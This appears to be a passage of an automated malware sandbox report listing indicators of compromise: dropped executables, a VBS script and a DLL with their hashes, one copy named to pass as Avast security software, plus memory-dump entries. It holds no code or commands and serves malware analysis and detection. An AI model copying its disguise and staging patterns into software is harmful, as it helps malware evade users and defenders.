3e7ad5d73c9756f2f65ca53b4e4c37863525cef3562593581cc73c669e2676ba6f25fbcbbb47c02b39e94d11ede70ef4b6a1afb053d60369fed5f99cc6f2e766

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\yt.exe

Filesize
2.0MB

MD5
e6191881f7fea20f44d42d2856a1dd53

SHA1
e770d33ad8826a7aab9feb8a5e8bba3276b0c354

SHA256
7ec2a2ef17dd8aeadd54e92d5f3a9a1fe3f5848888e5b16d105de41639fbd886

SHA512
4636f89e1e9267e17d7741ff4c59b1b3198183c99a12127c9eff7d82730411fd83fb3351d6065ada01a739b1c3408c970539779ec63f7d7705072eb86c98ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\yt.exe

Filesize
2.0MB

MD5
e6191881f7fea20f44d42d2856a1dd53

SHA1
e770d33ad8826a7aab9feb8a5e8bba3276b0c354

SHA256
7ec2a2ef17dd8aeadd54e92d5f3a9a1fe3f5848888e5b16d105de41639fbd886

SHA512
4636f89e1e9267e17d7741ff4c59b1b3198183c99a12127c9eff7d82730411fd83fb3351d6065ada01a739b1c3408c970539779ec63f7d7705072eb86c98ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\loda.exe

Filesize
11KB

MD5
7e93bacbbc33e6652e147e7fe07572a0

SHA1
421a7167da01c8da4dc4d5234ca3dd84e319e762

SHA256
850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

SHA512
250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\loda.exe

Filesize
11KB

MD5
7e93bacbbc33e6652e147e7fe07572a0

SHA1
421a7167da01c8da4dc4d5234ca3dd84e319e762

SHA256
850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

SHA512
250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sbriv.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sbriv.exe

Filesize
236KB

MD5
8bb923c4d81284daef7896e5682df6c6

SHA1
67e34a96b77e44b666c5479f540995bdeacf5de2

SHA256
9b0410052289a8416a458401fbb9a74d6361f4769465431b209f32151d7c6f21

SHA512
2daed03277a343db5fcb22e26baea5cda41de39dc825fe0aad51f6ec181b8f38f09427f27fb58ffd179f37032600d107ef772cc6275f7d0d62899c6cd3f8aff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA26F.vbs

Filesize
1KB

MD5
bd0110b611095450adf495b246897bdc

SHA1
b2defd642eb08d52ea330bf56fd965c47e3e112f

SHA256
4261df7f264f051b1b8b3392e09afcbe5bbfea9e2de8e4028de0ecbb8cea718f

SHA512
f363f276d7706c725e68b5b20690fc5deef3bae83a96e87a45c0f90d975219c4c540b6602ecadaeb6013b5d20c9eb2cc47fba8f247f1f717bcb573e7855de80d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe

Filesize
2.0MB

MD5
e6191881f7fea20f44d42d2856a1dd53

SHA1
e770d33ad8826a7aab9feb8a5e8bba3276b0c354

SHA256
7ec2a2ef17dd8aeadd54e92d5f3a9a1fe3f5848888e5b16d105de41639fbd886

SHA512
4636f89e1e9267e17d7741ff4c59b1b3198183c99a12127c9eff7d82730411fd83fb3351d6065ada01a739b1c3408c970539779ec63f7d7705072eb86c98ddbc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Avast security.exe

Filesize
2.0MB

MD5
e6191881f7fea20f44d42d2856a1dd53

SHA1
e770d33ad8826a7aab9feb8a5e8bba3276b0c354

SHA256
7ec2a2ef17dd8aeadd54e92d5f3a9a1fe3f5848888e5b16d105de41639fbd886

SHA512
4636f89e1e9267e17d7741ff4c59b1b3198183c99a12127c9eff7d82730411fd83fb3351d6065ada01a739b1c3408c970539779ec63f7d7705072eb86c98ddbc

Download Submit
C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll

Filesize
89KB

MD5
c79b74d8fec5e7e2ba2f1789fd582a15

SHA1
78a1e5d99dbaccc5e07b125e1dfb280112cb3128

SHA256
b5bd049d32f0faeea6ce65a0f0d326de5bc4427a7c1ad24bfb0ea050c1dec7d3

SHA512
0debfc54904fd538cfb1fc648d18f90a991337200b3decf74b28ac2f341843fb3bab4f45bc92cfec333b18dfff9cc136854462e79054a39926a7bd8ee2e057ba

Download Submit
C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll

Filesize
89KB

MD5
c79b74d8fec5e7e2ba2f1789fd582a15

SHA1
78a1e5d99dbaccc5e07b125e1dfb280112cb3128

SHA256
b5bd049d32f0faeea6ce65a0f0d326de5bc4427a7c1ad24bfb0ea050c1dec7d3

SHA512
0debfc54904fd538cfb1fc648d18f90a991337200b3decf74b28ac2f341843fb3bab4f45bc92cfec333b18dfff9cc136854462e79054a39926a7bd8ee2e057ba

Download Submit
memory/532-155-0x0000000000000000-mapping.dmp

Download
memory/948-132-0x0000000000000000-mapping.dmp

Download
memory/1404-156-0x0000000000000000-mapping.dmp

Download
memory/1412-141-0x0000000000000000-mapping.dmp

Download
memory/1512-157-0x0000000000000000-mapping.dmp

Download
memory/2012-175-0x0000000000000000-mapping.dmp

Download
memory/2012-179-0x0000000000400000-0x000000000097D000-memory.dmp

Filesize
5.5MB

Download
memory/2028-168-0x0000000000000000-mapping.dmp

Download
memory/2120-144-0x0000000000000000-mapping.dmp

Download
memory/2176-150-0x0000000000EA0000-0x000000000109C000-memory.dmp

Filesize
2.0MB

Download
memory/2176-147-0x0000000000000000-mapping.dmp

Download
memory/2176-161-0x00007FFB75700000-0x00007FFB761C1000-memory.dmp

Filesize
10.8MB

Download
memory/2588-154-0x0000000000000000-mapping.dmp

Download
memory/2684-200-0x0000000004D20000-0x0000000004D86000-memory.dmp

Filesize
408KB

Download
memory/2684-181-0x00000000001A0000-0x00000000001D2000-memory.dmp

Filesize
200KB

Download
memory/2684-180-0x0000000000000000-mapping.dmp

Download
memory/2796-197-0x0000000002310000-0x0000000003310000-memory.dmp

Filesize
16.0MB

Download
memory/2796-196-0x00000000004C0000-0x00000000004DD000-memory.dmp

Filesize
116KB

Download
memory/2796-190-0x0000000000000000-mapping.dmp

Download
memory/2796-204-0x00000000004C0000-0x00000000004DD000-memory.dmp

Filesize
116KB

Download
memory/2948-189-0x0000000000A30000-0x0000000000A62000-memory.dmp

Filesize
200KB

Download
memory/2948-186-0x0000000000000000-mapping.dmp

Download
memory/3392-165-0x0000000000000000-mapping.dmp

Download
memory/4032-159-0x0000000000000000-mapping.dmp

Download
memory/4088-206-0x0000000000000000-mapping.dmp

Download
memory/4296-152-0x0000000000000000-mapping.dmp

Download
memory/4336-140-0x00007FFB75700000-0x00007FFB761C1000-memory.dmp

Filesize
10.8MB

Download
memory/4336-135-0x0000000000000000-mapping.dmp

Download
memory/4336-138-0x0000000000F20000-0x0000000000F2A000-memory.dmp

Filesize
40KB

Download
memory/4336-139-0x00007FFB75700000-0x00007FFB761C1000-memory.dmp

Filesize
10.8MB

Download
memory/4352-164-0x00007FFB75700000-0x00007FFB761C1000-memory.dmp

Filesize
10.8MB

Download
memory/4352-160-0x0000000000000000-mapping.dmp

Download
memory/4352-194-0x0000000002F70000-0x0000000002F82000-memory.dmp

Filesize
72KB

Download
memory/4352-195-0x000000001D7A0000-0x000000001D7DC000-memory.dmp

Filesize
240KB

Download
memory/4352-198-0x00007FFB75700000-0x00007FFB761C1000-memory.dmp

Filesize
10.8MB

Download
memory/4376-151-0x0000000000000000-mapping.dmp

Download
memory/4772-153-0x0000000000000000-mapping.dmp

Download
memory/4880-158-0x0000000000000000-mapping.dmp

Download
memory/5016-171-0x00000000008E0000-0x0000000000912000-memory.dmp

Filesize
200KB

Download
memory/5016-201-0x00000000063F0000-0x0000000006994000-memory.dmp

Filesize
5.6MB

Download
memory/5016-202-0x0000000006B70000-0x0000000006D32000-memory.dmp

Filesize
1.8MB

Download
memory/5016-203-0x0000000007270000-0x000000000779C000-memory.dmp

Filesize
5.2MB

Download
memory/5016-199-0x0000000005680000-0x0000000005712000-memory.dmp

Filesize
584KB

Download
memory/5016-173-0x0000000005380000-0x000000000548A000-memory.dmp

Filesize
1.0MB

Download
memory/5016-174-0x00000000052B0000-0x00000000052C2000-memory.dmp

Filesize
72KB

Download
memory/5016-166-0x0000000000000000-mapping.dmp

Download
memory/5016-172-0x0000000005820000-0x0000000005E38000-memory.dmp

Filesize
6.1MB

Download
memory/5016-177-0x0000000005310000-0x000000000534C000-memory.dmp

Filesize
240KB

Download